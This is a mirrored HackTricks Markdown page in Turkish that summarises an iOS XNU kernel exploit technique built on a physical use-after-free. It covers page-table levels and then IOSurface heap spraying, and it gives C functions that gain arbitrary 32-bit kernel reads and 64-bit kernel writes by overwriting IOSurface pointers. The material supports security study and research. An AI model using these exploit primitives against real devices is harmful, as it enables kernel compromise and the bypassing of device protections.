mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
204 lines
10 KiB
Markdown
204 lines
10 KiB
Markdown
|
# iOS Exploiting
|
|||
|
|
|||
|
## Fiziksel kullanımdan sonra serbest bırakma
|
|||
|
|
|||
|
Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir.
|
|||
|
|
|||
|
### XNU'da Bellek Yönetimi <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
|
|||
|
|
|||
|
iOS'taki kullanıcı süreçleri için **sanaldan bellek adres alanı** **0x0 ile 0x8000000000** arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, **kernel** sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır.
|
|||
|
|
|||
|
#### iOS'taki Sayfa Tablolarının Seviyeleri
|
|||
|
|
|||
|
Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir:
|
|||
|
|
|||
|
1. **L1 Sayfa Tablosu (Seviye 1)**:
|
|||
|
* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder.
|
|||
|
* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar.
|
|||
|
2. **L2 Sayfa Tablosu (Seviye 2)**:
|
|||
|
* Buradaki bir giriş, özellikle **0x2000000 bayt** (32 MB) olan daha küçük bir sanal bellek bölgesini temsil eder.
|
|||
|
* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir.
|
|||
|
3. **L3 Sayfa Tablosu (Seviye 3)**:
|
|||
|
* Bu en ince seviyedir, burada her giriş tek bir **4 KB** bellek sayfasını haritalar.
|
|||
|
* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir.
|
|||
|
|
|||
|
#### Sanal Belleği Fiziksel Belleğe Haritalama
|
|||
|
|
|||
|
* **Doğrudan Haritalama (Blok Haritalama)**:
|
|||
|
* Bir sayfa tablosundaki bazı girişler, bir aralıkta **sanal adresleri** kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi).
|
|||
|
* **Çocuk Sayfa Tablosuna İşaretçi**:
|
|||
|
* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir **çocuk sayfa tablosuna** işaret edebilir.
|
|||
|
|
|||
|
#### Örnek: Sanal Bir Adresi Haritalama
|
|||
|
|
|||
|
Diyelim ki sanal adres **0x1000000000**'a erişmeye çalışıyorsunuz:
|
|||
|
|
|||
|
1. **L1 Tablosu**:
|
|||
|
* Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna işaretçi** varsa, o L2 tablosuna gider.
|
|||
|
2. **L2 Tablosu**:
|
|||
|
* Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya devam eder.
|
|||
|
3. **L3 Tablosu**:
|
|||
|
* Kernel, gerçek bellek sayfasının **fiziksel adresine** işaret eden son L3 girişini arar.
|
|||
|
|
|||
|
#### Adres Haritalama Örneği
|
|||
|
|
|||
|
Eğer fiziksel adres **0x800004000**'ı L2 tablosunun ilk indeksine yazarsanız, o zaman:
|
|||
|
|
|||
|
* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere haritalanır.
|
|||
|
* Bu, L2 seviyesinde bir **blok haritalama**dır.
|
|||
|
|
|||
|
Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa:
|
|||
|
|
|||
|
* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır.
|
|||
|
|
|||
|
### Fiziksel Kullanımdan Sonra Serbest Bırakma
|
|||
|
|
|||
|
Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) durumu, şu durumlarda meydana gelir:
|
|||
|
|
|||
|
1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**.
|
|||
|
2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir.
|
|||
|
3. Süreç belleği **serbest bırakır** (boşaltır).
|
|||
|
4. Ancak, bir **hata** nedeniyle, kernel **haritalamayı kaldırmayı unutur** ve ilgili fiziksel belleği serbest olarak işaretler.
|
|||
|
5. Kernel, bu "serbest bırakılmış" fiziksel belleği, **kernel verileri** gibi diğer amaçlar için **yeniden tahsis edebilir**.
|
|||
|
6. Haritalama kaldırılmadığı için, süreç hala bu fiziksel belleğe **okuma ve yazma** yapabilir.
|
|||
|
|
|||
|
Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın **kernel belleğini manipüle etmesine** olanak tanır.
|
|||
|
|
|||
|
### Exploit Stratejisi: Heap Spray
|
|||
|
|
|||
|
Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis edileceğini kontrol edemediğinden, **heap spray** adı verilen bir teknik kullanır:
|
|||
|
|
|||
|
1. Saldırgan, kernel belleğinde **birçok IOSurface nesnesi** oluşturur.
|
|||
|
2. Her IOSurface nesnesi, bir alanında **büyülü bir değer** içerir, bu da onu tanımlamayı kolaylaştırır.
|
|||
|
3. **Serbest bırakılmış sayfaları tarar** ve bu IOSurface nesnelerinden herhangi birinin serbest bırakılmış bir sayfaya düşüp düşmediğini kontrol eder.
|
|||
|
4. Serbest bırakılmış bir sayfada bir IOSurface nesnesi bulduklarında, bunu **kernel belleğini okumak ve yazmak** için kullanabilirler.
|
|||
|
|
|||
|
Bununla ilgili daha fazla bilgi [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups) adresinde bulunmaktadır.
|
|||
|
|
|||
|
### Adım Adım Heap Spray Süreci
|
|||
|
|
|||
|
1. **IOSurface Nesnelerini Spray Et**: Saldırgan, özel bir tanımlayıcı ("büyülü değer") ile birçok IOSurface nesnesi oluşturur.
|
|||
|
2. **Serbest Sayfaları Tara**: Bu nesnelerin serbest bırakılmış bir sayfada tahsis edilip edilmediğini kontrol ederler.
|
|||
|
3. **Kernel Belleğini Oku/Yaz**: IOSurface nesnesindeki alanları manipüle ederek, kernel belleğinde **rastgele okuma ve yazma** yapma yeteneği kazanırlar. Bu, onlara:
|
|||
|
* Bir alanı kullanarak kernel belleğindeki **herhangi bir 32 bit değeri** okumalarını sağlar.
|
|||
|
* Diğer bir alanı kullanarak **64 bit değerler** yazmalarını sağlar ve böylece kararlı bir **kernel okuma/yazma ilkesine** ulaşırlar.
|
|||
|
|
|||
|
Büyülü değer IOSURFACE_MAGIC ile IOSurface nesneleri oluşturun ve daha sonra aramak için kullanın:
|
|||
|
```c
|
|||
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
|||
|
if (*nClients >= 0x4000) return;
|
|||
|
for (int i = 0; i < nSurfaces; i++) {
|
|||
|
fast_create_args_t args;
|
|||
|
lock_result_t result;
|
|||
|
|
|||
|
size_t size = IOSurfaceLockResultSize;
|
|||
|
args.address = 0;
|
|||
|
args.alloc_size = *nClients + 1;
|
|||
|
args.pixel_format = IOSURFACE_MAGIC;
|
|||
|
|
|||
|
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
|
|||
|
io_connect_t id = result.surface_id;
|
|||
|
|
|||
|
(*clients)[*nClients] = id;
|
|||
|
*nClients = (*nClients) += 1;
|
|||
|
}
|
|||
|
}
|
|||
|
```
|
|||
|
Serbest bırakılmış bir fiziksel sayfada **`IOSurface`** nesnelerini arayın:
|
|||
|
```c
|
|||
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
|||
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
|||
|
int nSurfaceIDs = 0;
|
|||
|
|
|||
|
for (int i = 0; i < 0x400; i++) {
|
|||
|
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
|
|||
|
|
|||
|
for (int j = 0; j < nPages; j++) {
|
|||
|
uint64_t start = puafPages[j];
|
|||
|
uint64_t stop = start + (pages(1) / 16);
|
|||
|
|
|||
|
for (uint64_t k = start; k < stop; k += 8) {
|
|||
|
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
|
|||
|
info.object = k;
|
|||
|
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
|
|||
|
if (self_task) *self_task = iosurface_get_receiver(k);
|
|||
|
goto sprayDone;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
|
|||
|
sprayDone:
|
|||
|
for (int i = 0; i < nSurfaceIDs; i++) {
|
|||
|
if (surfaceIDs[i] == info.surface) continue;
|
|||
|
iosurface_release(client, surfaceIDs[i]);
|
|||
|
}
|
|||
|
free(surfaceIDs);
|
|||
|
|
|||
|
return 0;
|
|||
|
}
|
|||
|
```
|
|||
|
### Kernel Okuma/Yazma İşlemlerini IOSurface ile Gerçekleştirme
|
|||
|
|
|||
|
Kullanıcı alanından erişilebilen serbest bırakılmış fiziksel bir sayfaya eşlenen kernel belleğindeki bir IOSurface nesnesi üzerinde kontrol sağladıktan sonra, bunu **rastgele kernel okuma ve yazma işlemleri** için kullanabiliriz.
|
|||
|
|
|||
|
**IOSurface'daki Anahtar Alanlar**
|
|||
|
|
|||
|
IOSurface nesnesinin iki kritik alanı vardır:
|
|||
|
|
|||
|
1. **Kullanım Sayısı İşaretçisi**: **32-bit okuma** sağlar.
|
|||
|
2. **İndeksli Zaman Damgası İşaretçisi**: **64-bit yazma** sağlar.
|
|||
|
|
|||
|
Bu işaretçileri geçersiz kılarak, onları kernel belleğindeki rastgele adreslere yönlendiriyoruz ve okuma/yazma yeteneklerini etkinleştiriyoruz.
|
|||
|
|
|||
|
#### 32-Bit Kernel Okuma
|
|||
|
|
|||
|
Okuma işlemi gerçekleştirmek için:
|
|||
|
|
|||
|
1. **kullanım sayısı işaretçisini** hedef adrese 0x14 bayt ofset çıkararak yönlendirin.
|
|||
|
2. O adresteki değeri okumak için `get_use_count` yöntemini kullanın.
|
|||
|
```c
|
|||
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
|||
|
uint64_t args[1] = {surfaceID};
|
|||
|
uint32_t size = 1;
|
|||
|
uint64_t out = 0;
|
|||
|
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
|
|||
|
return (uint32_t)out;
|
|||
|
}
|
|||
|
|
|||
|
uint32_t iosurface_kread32(uint64_t addr) {
|
|||
|
uint64_t orig = iosurface_get_use_count_pointer(info.object);
|
|||
|
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
|
|||
|
uint32_t value = get_use_count(info.client, info.surface);
|
|||
|
iosurface_set_use_count_pointer(info.object, orig);
|
|||
|
return value;
|
|||
|
}
|
|||
|
```
|
|||
|
#### 64-Bit Kernel Write
|
|||
|
|
|||
|
Bir yazma işlemi gerçekleştirmek için:
|
|||
|
|
|||
|
1. **İndekslenmiş zaman damgası işaretçisini** hedef adrese yazın.
|
|||
|
2. 64-bit bir değer yazmak için `set_indexed_timestamp` yöntemini kullanın.
|
|||
|
```c
|
|||
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
|||
|
uint64_t args[3] = {surfaceID, 0, value};
|
|||
|
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
|
|||
|
}
|
|||
|
|
|||
|
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
|
|||
|
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
|
|||
|
iosurface_set_indexed_timestamp_pointer(info.object, addr);
|
|||
|
set_indexed_timestamp(info.client, info.surface, value);
|
|||
|
iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|||
|
}
|
|||
|
```
|
|||
|
#### Exploit Akışı Özeti
|
|||
|
|
|||
|
1. **Fiziksel Kullanımdan Sonra Serbest Bırakmayı Tetikle**: Serbest sayfalar yeniden kullanım için mevcuttur.
|
|||
|
2. **IOSurface Nesnelerini Spray Et**: Kernel belleğinde benzersiz bir "sihirli değer" ile birçok IOSurface nesnesi ayır.
|
|||
|
3. **Erişilebilir IOSurface'ı Belirle**: Kontrol ettiğin serbest bir sayfada bir IOSurface bul.
|
|||
|
4. **Kullanımdan Sonra Serbest Bırakmayı Kötüye Kullan**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla keyfi **kernel okuma/yazma** sağla.
|
|||
|
|
|||
|
Bu ilkelere sahip olarak, exploit kontrol edilen **32-bit okumalar** ve **64-bit yazmalar** sağlar. Daha fazla jailbreak adımları, ek korumaları aşmayı gerektirebilecek daha stabil okuma/yazma ilkelere dahil olabilir (örneğin, daha yeni arm64e cihazlarda PPL).
|